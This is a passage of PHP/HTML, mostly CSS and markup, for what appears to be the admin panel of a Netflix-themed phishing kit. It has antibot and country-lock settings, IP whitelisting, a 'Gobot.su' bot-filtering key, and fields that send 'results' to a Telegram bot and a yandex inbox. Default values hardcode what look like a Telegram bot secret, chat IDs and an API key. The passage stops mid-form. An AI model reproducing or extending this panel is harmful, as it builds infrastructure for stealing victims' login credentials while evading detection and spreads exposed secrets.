            border: 1px solid #3d4a7a;
            border-radius: 12px;
            padding: 2rem;
            max-width: 600px;
            width: 90%;
            max-height: 80vh;
            overflow-y: auto;
            position: relative;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.5);
        }
        
        .modal-content::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 3px;
            background: linear-gradient(90deg, #51cf66, #4dabf7);
        }
        
        .modal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 1.5rem;
        }
        
        .modal-title {
            font-size: 1.3rem;
            font-weight: 700;
            color: #51cf66;
            text-transform: uppercase;
            letter-spacing: 1px;
        }
        
        .modal-close {
            width: 32px;
            height: 32px;
            background: rgba(255, 255, 255, 0.1);
            border: none;
            border-radius: 6px;
            color: rgba(255, 255, 255, 0.8);
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            transition: all 0.3s ease;
            font-size: 1.2rem;
        }
        
        .modal-close:hover {
            background: rgba(255, 255, 255, 0.2);
        }
        
        .modal-body {
            margin-bottom: 1.5rem;
        }
        
        .modal-section {
            margin-bottom: 1.5rem;
        }
        
        .modal-section-title {
            font-size: 0.85rem;
            color: rgba(255, 255, 255, 0.7);
            margin-bottom: 1rem;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            font-weight: 600;
        }
        
        .country-tags {
            display: flex;
            flex-wrap: wrap;
            gap: 0.75rem;
        }
        
        .country-tag {
            padding: 0.5rem 1rem;
            background: rgba(255, 255, 255, 0.1);
            border: 1px solid rgba(255, 255, 255, 0.2);
            border-radius: 6px;
            color: rgba(255, 255, 255, 0.9);
            font-size: 0.9rem;
            font-weight: 600;
            display: flex;
            align-items: center;
            gap: 0.5rem;
            cursor: pointer;
            transition: all 0.3s ease;
        }
        
        .country-tag:hover {
            background: rgba(255, 107, 107, 0.2);
            border-color: rgba(255, 107, 107, 0.4);
            color: #ff6b6b;
        }
        
        .country-tag:hover .remove-icon {
            display: block;
        }
        
        .remove-icon {
            display: none;
            font-size: 0.75rem;
        }
        
        .add-input-group {
            display: flex;
            gap: 0.75rem;
            margin-top: 1rem;
        }
        
        .add-input-group input {
            flex: 1;
            padding: 0.75rem 1rem;
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid rgba(255, 255, 255, 0.15);
            border-radius: 8px;
            color: rgba(255, 255, 255, 0.9);
            font-size: 0.9rem;
        }
        
        .add-input-group input::placeholder {
            color: rgba(255, 255, 255, 0.4);
        }
        
        .add-input-group input:focus {
            outline: none;
            border-color: #51cf66;
            background: rgba(255, 255, 255, 0.1);
        }
        
        .add-btn {
            padding: 0.75rem 1.5rem;
            background: rgba(81, 207, 102, 0.15);
            border: 1px solid rgba(81, 207, 102, 0.3);
            border-radius: 8px;
            color: #51cf66;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s ease;
        }
        
        .add-btn:hover {
            background: rgba(81, 207, 102, 0.25);
            border-color: rgba(81, 207, 102, 0.5);
            transform: translateY(-1px);
        }
        
        .ip-tags {
            display: flex;
            flex-direction: column;
            gap: 0.75rem;
        }
        
        .ip-tag {
            padding: 0.75rem 1rem;
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid rgba(255, 255, 255, 0.15);
            border-radius: 8px;
            color: rgba(255, 255, 255, 0.9);
            font-family: 'Courier New', monospace;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .ip-tag .remove-btn {
            background: rgba(255, 107, 107, 0.2);
            border: 1px solid rgba(255, 107, 107, 0.3);
            color: #ff6b6b;
            padding: 0.35rem 0.75rem;
            border-radius: 4px;
            cursor: pointer;
            font-size: 0.8rem;
            font-weight: 600;
            transition: all 0.3s ease;
        }
        
        .ip-tag .remove-btn:hover {
            background: rgba(255, 107, 107, 0.3);
            border-color: rgba(255, 107, 107, 0.5);
        }
        
        .modal-actions {
            display: flex;
            gap: 1rem;
            justify-content: flex-end;
        }
        
        .modal-btn {
            padding: 0.75rem 2rem;
            border: none;
            border-radius: 8px;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s ease;
        }
        
        .modal-btn.cancel {
            background: rgba(255, 255, 255, 0.1);
            color: rgba(255, 255, 255, 0.9);
        }
        
        .modal-btn.cancel:hover {
            background: rgba(255, 255, 255, 0.15);
        }
        
        .modal-btn.save {
            background: rgba(81, 207, 102, 0.15);
            border: 1px solid rgba(81, 207, 102, 0.3);
            color: #51cf66;
        }
        
        .modal-btn.save:hover {
            background: rgba(81, 207, 102, 0.25);
            border-color: rgba(81, 207, 102, 0.5);
            transform: translateY(-1px);
        }
        
        .modal-form-group {
            margin-bottom: 1.5rem;
        }
        
        .modal-form-label {
            display: block;
            font-size: 0.85rem;
            color: rgba(255, 255, 255, 0.7);
            margin-bottom: 0.5rem;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            font-weight: 600;
        }
        
        .modal-form-input,
        .modal-form-select {
            width: 100%;
            padding: 0.75rem 1rem;
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid rgba(255, 255, 255, 0.15);
            border-radius: 8px;
            color: rgba(255, 255, 255, 0.9);
            font-size: 0.95rem;
            transition: all 0.3s ease;
        }
        
        .modal-form-input::placeholder {
            color: rgba(255, 255, 255, 0.4);
        }
        
        .modal-form-input:focus,
        .modal-form-select:focus {
            outline: none;
            border-color: #51cf66;
            background: rgba(255, 255, 255, 0.1);
        }
        
        .block-section {
            background: linear-gradient(135deg, #1a1f4a 0%, #1f2654 100%);
            border: 2px solid #2a3568;
            border-radius: 16px;
            padding: 2.5rem;
            margin-bottom: 2rem;
            box-shadow: 0 8px 32px rgba(0, 0, 0, 0.3);
            position: relative;
            overflow: hidden;
        }
        
        .block-section::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 4px;
            background: linear-gradient(90deg, #51cf66, #4dabf7, #51cf66);
            background-size: 200% 100%;
            animation: shimmer 3s linear infinite;
        }
        
        .block-section-title {
            font-size: 1.4rem;
            font-weight: 700;
            color: #51cf66;
            margin-bottom: 2rem;
            text-transform: uppercase;
            letter-spacing: 2px;
            border-bottom: 2px solid rgba(255, 255, 255, 0.1);
            padding-bottom: 1rem;
        }
        
        .alert-section {
            background: linear-gradient(135deg, #1a1f4a 0%, #1f2654 100%);
            border: 2px solid #2a3568;
            border-radius: 16px;
            padding: 2.5rem;
            margin-bottom: 2rem;
            box-shadow: 0 8px 32px rgba(0, 0, 0, 0.3);
            position: relative;
            overflow: hidden;
        }
        
        .alert-section::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 4px;
            background: linear-gradient(90deg, #51cf66, #4dabf7, #51cf66);
            background-size: 200% 100%;
            animation: shimmer 3s linear infinite;
        }
        
        @keyframes shimmer {
            0% { background-position: -200% 0; }
            100% { background-position: 200% 0; }
        }
        
        .alert-section-title {
            font-size: 1.4rem;
            font-weight: 700;
            color: #ffffff;
            margin-bottom: 2rem;
            text-transform: uppercase;
            letter-spacing: 2px;
            border-bottom: 2px solid rgba(255, 255, 255, 0.1);
            padding-bottom: 1rem;
        }
        
        .alert-form-grid {
            display: grid;
            grid-template-columns: repeat(2, 1fr);
            gap: 1.5rem;
        }
        
        .alert-form-group {
            display: flex;
            flex-direction: column;
            gap: 0.75rem;
        }
        
        .alert-form-group.full-width {
            grid-column: 1 / -1;
        }
        
        .alert-form-label {
            font-size: 0.85rem;
            font-weight: 600;
            color: #a8b4d8;
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }
        
        .alert-form-input,
        .alert-form-select {
            width: 100%;
            padding: 1rem 1.25rem;
            background: rgba(42, 53, 104, 0.4);
            border: 1.5px solid rgba(168, 180, 216, 0.2);
            border-radius: 10px;
            color: #ffffff;
            font-size: 0.95rem;
            font-family: 'Inter', sans-serif;
            transition: all 0.3s ease;
            font-weight: 500;
        }
        
        .alert-form-input:focus,
        .alert-form-select:focus {
            outline: none;
            border-color: #51cf66;
            box-shadow: 0 0 0 4px rgba(81, 207, 102, 0.15), 0 4px 12px rgba(81, 207, 102, 0.2);
            background: rgba(42, 53, 104, 0.6);
            transform: translateY(-1px);
        }
        
        .alert-form-input::placeholder {
            color: rgba(168, 180, 216, 0.4);
            font-weight: 400;
        }
        
        .alert-form-select {
            cursor: pointer;
            color: #ffffff;
            appearance: none;
            background-image: url("data:image/svg+xml,%3Csvg width='12' height='8' viewBox='0 0 12 8' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M1 1L6 6L11 1' stroke='%23a8b4d8' stroke-width='2' stroke-linecap='round'/%3E%3C/svg%3E");
            background-repeat: no-repeat;
            background-position: right 1rem center;
            padding-right: 2.5rem;
        }
        
        .alert-form-select option {
            background: #1f2654;
            color: #ffffff;
            padding: 0.5rem;
        }
        
        .alert-save-btn {
            width: 100%;
            padding: 1.25rem;
            background: rgba(81, 207, 102, 0.15);
            border: 1px solid rgba(81, 207, 102, 0.3);
            border-radius: 10px;
            color: #51cf66;
            font-size: 1rem;
            font-weight: 700;
            cursor: pointer;
            transition: all 0.3s ease;
            text-transform: uppercase;
            letter-spacing: 1.5px;
        }
        
        .alert-save-btn:hover {
            background: rgba(81, 207, 102, 0.25);
            border-color: rgba(81, 207, 102, 0.5);
            transform: translateY(-2px);
        }
        
        .alert-save-btn:active {
            transform: translateY(0);
        }
        
        .settings-section {
            background: var(--bg-white);
            border: 1px solid var(--border);
            border-radius: 12px;
            padding: 2rem;
            margin-bottom: 2rem;
        }
        
        .section-title {
            font-size: 1.3rem;
            font-weight: 700;
            color: var(--primary);
            margin-bottom: 1.5rem;
        }
        
        .form-grid {
            display: grid;
            grid-template-columns: repeat(2, 1fr);
            gap: 1.5rem;
        }
        
        .form-group {
            display: flex;
            flex-direction: column;
            gap: 0.5rem;
        }
        
        .form-group.full-width {
            grid-column: 1 / -1;
        }
        
        .form-label {
            font-size: 0.9rem;
            font-weight: 600;
            color: var(--text-dark);
        }
        
        .form-input,
        .form-select,
        .form-textarea {
            width: 100%;
            padding: 0.8rem 1rem;
            background: var(--bg-light);
            border: 1px solid var(--border);
            border-radius: 8px;
            color: var(--text-dark);
            font-size: 0.9rem;
            font-family: 'Inter', sans-serif;
            transition: all 0.3s ease;
        }
        
        .form-input:focus,
        .form-select:focus,
        .form-textarea:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 3px rgba(45, 60, 120, 0.1);
        }
        
        .form-textarea {
            min-height: 100px;
            resize: vertical;
        }
        
        .form-select {
            cursor: pointer;
        }
        
        .form-hint {
            font-size: 0.8rem;
            color: var(--text-light);
            font-style: italic;
        }
        
        .save-btn {
            width: 100%;
            padding: 1rem;
            background: #00d4ff;
            border: none;
            border-radius: 8px;
            color: white;
            font-size: 1rem;
            font-weight: 700;
            cursor: pointer;
            transition: all 0.3s ease;
            text-transform: uppercase;
            letter-spacing: 1px;
        }
        
        .save-btn:hover {
            background: #00b8e6;
            transform: translateY(-2px);
            box-shadow: 0 10px 30px rgba(0, 212, 255, 0.3);
        }
        
        .settings-footer {
            text-align: center;
            padding: 2rem;
            color: var(--text-light);
            font-size: 0.85rem;
            border-top: 1px solid var(--border);
            margin-top: 3rem;
        }
        
        .settings-footer a {
            color: var(--primary);
            text-decoration: none;
        }
        
        @media (max-width: 1200px) {
            .form-grid {
                grid-template-columns: 1fr;
            }
        }
        
        @media (max-width: 1200px) {
            .stats-grid {
                grid-template-columns: 1fr;
            }
            
            .bottom-grid {
                grid-template-columns: 1fr;
            }
        }
        
        @media (max-width: 768px) {
            .sidebar {
                transform: translateX(-100%);
            }
            
            .main-content {
                margin-left: 0;
            }
            
            .details-row {
                grid-template-columns: 1fr;
            }
        }
    </style>
</head>
<body>
    <!-- Sidebar -->
    <aside class="sidebar">
        <div class="sidebar-logo">
            <div class="cpanel-logo">cPanel</div>
        </div>
        
        <nav class="sidebar-menu">
            <div class="menu-item active">
                <i data-lucide="layout-grid" size="18"></i>
                <span>Tools</span>
            </div>
        </nav>
    </aside>
    
    <!-- Main Content -->
    <main class="main-content">
        <!-- Top Bar -->
        <div class="top-bar">
            <div class="top-actions">
                <div class="search-input">
                    <i data-lucide="search" size="16" color="#adb5bd"></i>
                    <input type="text" placeholder="Search Tools (/)">
                </div>
                <div class="icon-btn">
                    <i data-lucide="settings" size="18"></i>
                </div>
                <div class="icon-btn">
                    <i data-lucide="user" size="18"></i>
                </div>
            </div>
        </div>
        
        <!-- Content Area -->
        <div class="content-area">
            <!-- Dashboard Header -->
            <div class="dashboard-header">
                <!-- Animated Circles -->
                <div class="animated-circle circle-1"></div>
                <div class="animated-circle circle-2"></div>
                <div class="animated-circle circle-3"></div>
                
                <!-- Floating Dots -->
                <div class="floating-dot dot-1"></div>
                <div class="floating-dot dot-2"></div>
                <div class="floating-dot dot-3"></div>
                <div class="floating-dot dot-4"></div>
                <div class="floating-dot dot-5"></div>
                <div class="floating-dot dot-6"></div>
                <div class="floating-dot dot-7"></div>
                <div class="floating-dot dot-8"></div>
                
                <div class="header-content">
                    <div class="header-top">
                        <div class="hosted-badge">
                            <i data-lucide="server" size="16"></i>
                            <span>Hosted at <span class="hosted-url">Gobot.su</span></span>
                        </div>
                        
                        <div class="header-title-section">
                            <h1 class="header-title"><span class="bracket">[</span> Dashboard <span class="bracket">]</span></h1>
                            <div class="status-badge">
                                <div class="status-dot"></div>
                                <span>All Antibot Systems Active</span>
                            </div>
                        </div>
                        
                        <div style="display: flex; gap: 1rem; align-items: center;">
                            <div class="domain-indicator">
                                <i data-lucide="globe" size="16"></i>
                                <span id="currentDomain">Loading...</span>
                            </div>
                            <div class="domain-indicator" style="background: rgba(139, 165, 250, 0.15); border-color: rgba(139, 165, 250, 0.3);">
                                <i data-lucide="palette" size="16" style="color: #8ba5fa;"></i>
                                <span id="currentTemplate" style="color: #8ba5fa;"><?php echo strtoupper($theme['template_select'] ?? 'netflix'); ?></span>
                            </div>
                        </div>
                    </div>
                    
                    <div class="nav-tabs">
                        <div class="nav-tab active" onclick="showHome()">
                            <i data-lucide="home" size="16"></i>
                            <span>Home</span>
                        </div>
                        <div class="nav-tab" onclick="showVisitors()">
                            <i data-lucide="users" size="16"></i>
                            <span>Visitors</span>
                        </div>
                        <div class="nav-tab" onclick="showAllow()">
                            <i data-lucide="check-circle" size="16"></i>
                            <span>Allow</span>
                        </div>
                        <div class="nav-tab" onclick="showBlock()">
                            <i data-lucide="shield-off" size="16"></i>
                            <span>Block</span>
                        </div>
                        <div class="nav-tab" onclick="showAlert()">
                            <i data-lucide="bell" size="16"></i>
                            <span>Alert</span>
                        </div>
                        <div class="nav-tab" onclick="showSettings()">
                            <i data-lucide="settings" size="16"></i>
                            <span>Settings</span>
                        </div>
                    </div>
                </div>
            </div>
            
            <!-- Stats Grid -->
            <div class="stats-grid">
                <!-- Visitors Today -->
                <div class="stat-card">
                    <div class="stat-card-header">
                        <div class="stat-title">
                            <div class="stat-icon">
                                <i data-lucide="clock" color="#4a90e2" size="20"></i>
                            </div>
                            <div class="stat-info">
                                <div class="stat-label">Visitors - Today</div>
                                <div class="stat-subtitle">Last 24 Hours</div>
                            </div>
                        </div>
                        <div class="stat-period">Last 24 Hours</div>
                    </div>
                    
                    <div class="total-section">
                        <div class="total-content">
                            <div class="total-label">Total</div>
                            <div class="total-value" id="homeTodayTotal">0</div>
                        </div>
                        <div class="total-icon-badge">
                            <i data-lucide="users" color="#4a90e2" size="24"></i>
                        </div>
                    </div>
                    
                    <div class="details-row">
                        <div class="detail-box success">
                            <div class="detail-label">
                                <i data-lucide="user-check" size="14"></i>
                                <span>Real Visitors</span>
                            </div>
                            <div class="detail-value" id="homeTodayRealVisitors">0</div>
                        </div>
                        <div class="detail-box danger">
                            <div class="detail-label">
                                <i data-lucide="shield" size="14"></i>
                                <span>Protected you from</span>
                            </div>
                            <div class="detail-value" id="homeTodayBots">0</div>
                        </div>
                    </div>
                </div>
                
                <!-- Visitors All Time -->
                <div class="stat-card">
                    <div class="stat-card-header">
                        <div class="stat-title">
                            <div class="stat-icon">
                                <i data-lucide="trending-up" color="#4a90e2" size="20"></i>
                            </div>
                            <div class="stat-info">
                                <div class="stat-label">Visitors - All Time</div>
                                <div class="stat-subtitle">All Time Visitors</div>
                            </div>
                        </div>
                    </div>
                    
                    <div class="total-section">
                        <div class="total-content">
                            <div class="total-label">Total</div>
                            <div class="total-value" id="homeAllTimeTotal">0</div>
                        </div>
                        <div class="total-icon-badge">
                            <i data-lucide="activity" color="#4a90e2" size="24"></i>
                        </div>
                    </div>
                    
                    <div class="details-row">
                        <div class="detail-box success">
                            <div class="detail-label">
                                <i data-lucide="user-check" size="14"></i>
                                <span>Real Visitors</span>
                            </div>
                            <div class="detail-value" id="homeAllTimeRealVisitors">0</div>
                        </div>
                        <div class="detail-box danger">
                            <div class="detail-label">
                                <i data-lucide="shield" size="14"></i>
                                <span>Protected you from</span>
                            </div>
                            <div class="detail-value" id="homeAllTimeBots">0</div>
                        </div>
                    </div>
                </div>
            </div>
            
            <!-- Bottom Grid -->
            <div class="bottom-grid">
                <!-- Country Lock -->
                <div class="info-card">
                    <div class="info-header">
                        <div class="info-title">
                            <i data-lucide="globe" color="#3b5bdb" size="18"></i>
                            <span>Country Lock</span>
                            <i data-lucide="info" color="#adb5bd" size="14"></i>
                        </div>
                        <div class="info-badge" id="countryBadge">6 Allowed</div>
                    </div>
                    
                    <div style="margin-bottom: 1.5rem;">
                        <div style="font-size: 0.85rem; color: var(--text-gray); margin-bottom: 1rem;">Allowed Countries</div>
                        <div class="country-list" id="homeCountryList">
                            <div class="country-flag">
                                <div class="flag">🇦🇪</div>
                                <div class="country-code">AE</div>
                            </div>
                            <div class="country-flag">
                                <div class="flag">🇰🇼</div>
                                <div class="country-code">KW</div>
                            </div>
                            <div class="country-flag">
                                <div class="flag">🇵🇭</div>
                                <div class="country-code">PH</div>
                            </div>
                            <div class="country-flag">
                                <div class="flag">🇶🇦</div>
                                <div class="country-code">QA</div>
                            </div>
                            <div class="country-flag">
                                <div class="flag">🇸🇦</div>
                                <div class="country-code">SA</div>
                            </div>
                            <div class="country-flag">
                                <div class="flag">🇹🇼</div>
                                <div class="country-code">TW</div>
                            </div>
                        </div>
                    </div>
                </div>
                
                <!-- Whitelisted IPs -->
                <div class="info-card">
                    <div class="info-header">
                        <div class="info-title">
                            <i data-lucide="shield-check" color="#3b5bdb" size="18"></i>
                            <span>Whitelisted IPs</span>
                            <i data-lucide="info" color="#adb5bd" size="14"></i>
                        </div>
                        <div class="info-badge" id="ipBadge">3 IPs</div>
                    </div>
                    
                    <div class="ip-list" id="homeIPList">
                        <div class="ip-item">123.253.51.200</div>
                        <div class="ip-item">98.39.107.201</div>
                        <div class="ip-item">5.195.173.133</div>
                    </div>
                </div>
                
                <!-- Telegram Alert -->
                <div class="info-card clickable" onclick="openTelegramModal()">
                    <div class="info-header">
                        <div class="info-title">
                            <i data-lucide="message-circle" color="#3b5bdb" size="18"></i>
                            <span>Telegram Alert</span>
                            <i data-lucide="info" color="#adb5bd" size="14"></i>
                        </div>
                        <div class="active-badge">Active</div>
                    </div>
                    
                    <div class="telegram-info">
                        <div class="telegram-item">
                            <div class="telegram-label">Bot Token</div>
                            <div class="telegram-value">7810662</div>
                        </div>
                        <div class="telegram-item">
                            <div class="telegram-label">Chat ID</div>
                            <div class="telegram-value">_Xoa20h2FaK1ZzdsWNyEI</div>
                        </div>
                    </div>
                </div>
            </div>
            
            <!-- Modals -->
            <!-- Country Lock Modal -->
            <div class="modal-overlay" id="countryModal" onclick="closeModal('countryModal')">
                <div class="modal-content" onclick="event.stopPropagation()">
                    <div class="modal-header">
                        <h3 class="modal-title">Country Lock Settings</h3>
                        <button class="modal-close" onclick="closeModal('countryModal')">✕</button>
                    </div>
                    <div class="modal-body">
                        <div class="modal-section">
                            <div class="modal-section-title">Allowed Countries</div>
                            <div class="country-tags" id="countryTags">
                                <div class="country-tag" onclick="removeCountry(this)">AE <span class="remove-icon">✕</span></div>
                                <div class="country-tag" onclick="removeCountry(this)">KW <span class="remove-icon">✕</span></div>
                                <div class="country-tag" onclick="removeCountry(this)">PH <span class="remove-icon">✕</span></div>
                                <div class="country-tag" onclick="removeCountry(this)">QA <span class="remove-icon">✕</span></div>
                                <div class="country-tag" onclick="removeCountry(this)">SA <span class="remove-icon">✕</span></div>
                                <div class="country-tag" onclick="removeCountry(this)">TW <span class="remove-icon">✕</span></div>
                            </div>
                            <div class="add-input-group">
                                <input type="text" class="alert-form-input" id="newCountry" placeholder="Add country code (e.g., US)" maxlength="2">
                                <button class="add-btn" onclick="addCountry()">Add</button>
                            </div>
                        </div>
                    </div>
                    <div class="modal-actions">
                        <button class="modal-btn cancel" onclick="closeModal('countryModal')">Cancel</button>
                        <button class="modal-btn save" onclick="saveCountries()">Save Changes</button>
                    </div>
                </div>
            </div>
            
            <!-- IP Whitelist Modal -->
            <div class="modal-overlay" id="ipModal" onclick="closeModal('ipModal')">
                <div class="modal-content" onclick="event.stopPropagation()">
                    <div class="modal-header">
                        <h3 class="modal-title">Whitelisted IPs</h3>
                        <button class="modal-close" onclick="closeModal('ipModal')">✕</button>
                    </div>
                    <div class="modal-body">
                        <div class="modal-section">
                            <div class="modal-section-title">IP Addresses</div>
                            <div class="ip-tags" id="ipTags">
                                <div class="ip-tag">
                                    <span>123.253.51.200</span>
                                    <button class="remove-btn" onclick="removeIP(this)">Remove</button>
                                </div>
                                <div class="ip-tag">
                                    <span>98.39.107.201</span>
                                    <button class="remove-btn" onclick="removeIP(this)">Remove</button>
                                </div>
                                <div class="ip-tag">
                                    <span>5.195.173.133</span>
                                    <button class="remove-btn" onclick="removeIP(this)">Remove</button>
                                </div>
                            </div>
                            <div class="add-input-group">
                                <input type="text" class="alert-form-input" id="newIP" placeholder="Add IP address (e.g., 192.168.1.1)">
                                <button class="add-btn" onclick="addIP()">Add</button>
                            </div>
                        </div>
                    </div>
                    <div class="modal-actions">
                        <button class="modal-btn cancel" onclick="closeModal('ipModal')">Cancel</button>
                        <button class="modal-btn save" onclick="saveIPs()">Save Changes</button>
                    </div>
                </div>
            </div>
            
            <!-- Telegram Alert Modal -->
            <div class="modal-overlay" id="telegramModal" onclick="closeModal('telegramModal')">
                <div class="modal-content" onclick="event.stopPropagation()">
                    <div class="modal-header">
                        <h3 class="modal-title">Telegram Alert Settings</h3>
                        <button class="modal-close" onclick="closeModal('telegramModal')">✕</button>
                    </div>
                    <div class="modal-body">
                        <div class="modal-form-group">
                            <label class="modal-form-label">Bot Token</label>
                            <input type="text" class="modal-form-input" id="botToken" value="7810662" placeholder="Enter bot token">
                        </div>
                        <div class="modal-form-group">
                            <label class="modal-form-label">Chat ID</label>
                            <input type="text" class="modal-form-input" id="chatID" value="_Xoa20h2FaK1ZzdsWNyEI" placeholder="Enter chat ID">
                        </div>
                        <div class="modal-form-group">
                            <label class="modal-form-label">Status</label>
                            <select class="modal-form-select" id="telegramStatus">
                                <option>Active</option>
                                <option>Inactive</option>
                            </select>
                        </div>
                    </div>
                    <div class="modal-actions">
                        <button class="modal-btn cancel" onclick="closeModal('telegramModal')">Cancel</button>
                        <button class="modal-btn save" onclick="saveTelegram()">Save Changes</button>
                    </div>
                </div>
            </div>
            
            <!-- Alert Page -->
            <div class="alert-page" id="alertPage">
                <!-- Template Selection Section -->
                <div class="alert-section">
                    <h2 class="alert-section-title">Template Selection</h2>
                    <div class="alert-form-grid">
                        <div class="alert-form-group">
                            <label class="alert-form-label">Current Template</label>
                            <div style="display: flex; align-items: center; gap: 1rem; margin-bottom: 1rem;">
                                <span id="alertCurrentTemplateBadge" style="padding: 0.5rem 1rem; background: rgba(81, 207, 102, 0.15); border: 1px solid rgba(81, 207, 102, 0.3); border-radius: 8px; color: #51cf66; font-weight: 600; text-transform: uppercase; font-size: 0.9rem;">
                                    <?php echo strtoupper($theme['template_select'] ?? 'netflix'); ?>
                                </span>
                                <span style="color: rgba(255, 255, 255, 0.7); font-size: 0.85rem;">Active</span>
                            </div>
                        </div>
                        <div class="alert-form-group">
                            <label class="alert-form-label">Select Template</label>
                            <select class="alert-form-select" id="alertTemplateSelect">
                                <option value="netflix" <?php echo ($theme['template_select'] ?? '') == 'netflix' ? 'selected' : ''; ?>>Netflix</option>
                            </select>
                        </div>
                    </div>
                    <button class="alert-save-btn" onclick="saveTemplateFromAlert()" style="margin-top: 1.5rem;">
                        <i data-lucide="refresh-cw" size="16" style="margin-right: 0.5rem;"></i>
                        Switch Template
                    </button>
                </div>
                
                <!-- Profile Settings Section -->
                <div class="alert-section">
                    <h2 class="alert-section-title">Profile Settings</h2>
                    <?php if ($flashMessage && ($flashMessage['form'] ?? '') == 'profile'): ?>
                    <div id="flashMessageProfile" class="alert alert-<?php echo htmlspecialchars($flashMessage['type']); ?>" style="margin-bottom: 1rem; padding: 0.75rem 1rem; border-radius: 0.5rem; background: <?php echo $flashMessage['type'] === 'success' ? '#51cf66' : '#ff6b6b'; ?>; color: white; position: relative;">
                        <?php echo htmlspecialchars($flashMessage['message']); ?>
                        <button onclick="this.parentElement.remove()" style="position: absolute; right: 0.5rem; top: 50%; transform: translateY(-50%); background: transparent; border: none; color: white; font-size: 1.2rem; cursor: pointer; padding: 0 0.5rem;">&times;</button>
                    </div>
                    <script>
                        setTimeout(function() {
                            const msg = document.getElementById('flashMessageProfile');
                            if (msg) {
                                msg.style.transition = 'opacity 0.5s';
                                msg.style.opacity = '0';
                                setTimeout(() => msg.remove(), 500);
                            }
                        }, 5000);
                    </script>
                    <?php endif; ?>
                    <form method="POST">
                        <input type="hidden" name="save_profile" value="1">
                        <div class="alert-form-grid">
                            <div class="alert-form-group">
                                <label class="alert-form-label">Email Result</label>
                                <input type="email" class="alert-form-input" name="email_result" value="<?php echo htmlspecialchars($accessData['email_result'] ?? 'checlie.ca@yandex.com'); ?>" placeholder="email@example.com">
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Parameter Access</label>
                                <input type="text" class="alert-form-input" name="parameter_access" value="<?php echo htmlspecialchars($accessData['parameter_access'] ?? 'good'); ?>" placeholder="Parameter">
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Parameter Status</label>
                                <select class="alert-form-select" name="parameter_status">
                                    <option value="1" <?php echo ($accessData['parameter_status'] ?? '1') == '1' ? 'selected' : ''; ?>>ON</option>
                                    <option value="0" <?php echo ($accessData['parameter_status'] ?? '1') == '0' ? 'selected' : ''; ?>>OFF</option>
                                </select>
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Token Access</label>
                                <input type="text" class="alert-form-input" name="token_login" value="<?php echo htmlspecialchars($accessData['token_login'] ?? 'Kinglazarus'); ?>" placeholder="Token">
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Telegram ID</label>
                                <input type="text" class="alert-form-input" name="telegram_id" value="<?php echo htmlspecialchars($accessData['telegram_id'] ?? '-4803612925'); ?>" placeholder="Telegram ID">
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Telegram Secret</label>
                                <input type="text" class="alert-form-input" name="telegram_secret_key" value="<?php echo htmlspecialchars($accessData['telegram_secret_key'] ?? '5642054843:AAfnVk7cDdcX4NDj8Ny-Q9LI6RyflHP7bJ8'); ?>" placeholder="Secret">
                            </div>
                        </div>
                        <button type="submit" class="alert-save-btn" style="margin-top: 1.5rem;">Save</button>
                    </form>
                </div>
                
                <!-- Save Result Webshop Section -->
                <div class="alert-section">
                    <h2 class="alert-section-title">Save Result Webshop</h2>
                    <div class="alert-form-grid">
                        <div class="alert-form-group full-width">
                            <label class="alert-form-label">Select Date</label>
                            <input type="date" class="alert-form-input" placeholder="dd/mm/yyyy">
                        </div>
                    </div>
                    <button class="alert-save-btn" onclick="showFlashMessage('Webshop saved!', 'success')" style="margin-top: 1.5rem;">Save</button>
                </div>
            </div>
            
            <!-- Block Page -->
            <div class="block-page" id="blockPage">
                <!-- Configuration Section -->
                <div class="block-section">
                    <h2 class="block-section-title">Configuration</h2>
                    <?php if ($flashMessage && ($flashMessage['form'] ?? '') == 'configuration'): ?>
                    <div id="flashMessageConfig" class="alert alert-<?php echo htmlspecialchars($flashMessage['type']); ?>" style="margin-bottom: 1rem; padding: 0.75rem 1rem; border-radius: 0.5rem; background: <?php echo $flashMessage['type'] === 'success' ? '#51cf66' : '#ff6b6b'; ?>; color: white; position: relative;">
                        <?php echo htmlspecialchars($flashMessage['message']); ?>
                        <button onclick="this.parentElement.remove()" style="position: absolute; right: 0.5rem; top: 50%; transform: translateY(-50%); background: transparent; border: none; color: white; font-size: 1.2rem; cursor: pointer; padding: 0 0.5rem;">&times;</button>
                    </div>
                    <script>
                        setTimeout(function() {
                            const msg = document.getElementById('flashMessageConfig');
                            if (msg) {
                                msg.style.transition = 'opacity 0.5s';
                                msg.style.opacity = '0';
                                setTimeout(() => msg.remove(), 500);
                            }
                        }, 5000);
                    </script>
                    <?php endif; ?>
                    <form method="POST">
                        <input type="hidden" name="save_configuration" value="1">
                        <div class="alert-form-grid">
                            <div class="alert-form-group">
                                <label class="alert-form-label">Gobot.su Status</label>
                                <select class="alert-form-select" name="gobot_status">
                                    <option value="1" <?php echo ($configs['gobot_status'] ?? '1') == '1' ? 'selected' : ''; ?>>On</option>
                                    <option value="0" <?php echo ($configs['gobot_status'] ?? '1') == '0' ? 'selected' : ''; ?>>Off</option>
                                </select>
                            </div>
                            <div class="alert-form-group">
                                <label class="alert-form-label">Gobot.su API Key</label>
                                <input type="text" class="alert-form-input" name="gobot_key" value="<?php echo htmlspecialchars($configs['gobot_key'] ?? 'df8d921ab788a4282295364b6138b4d4'); ?>" placeholder="API Key">
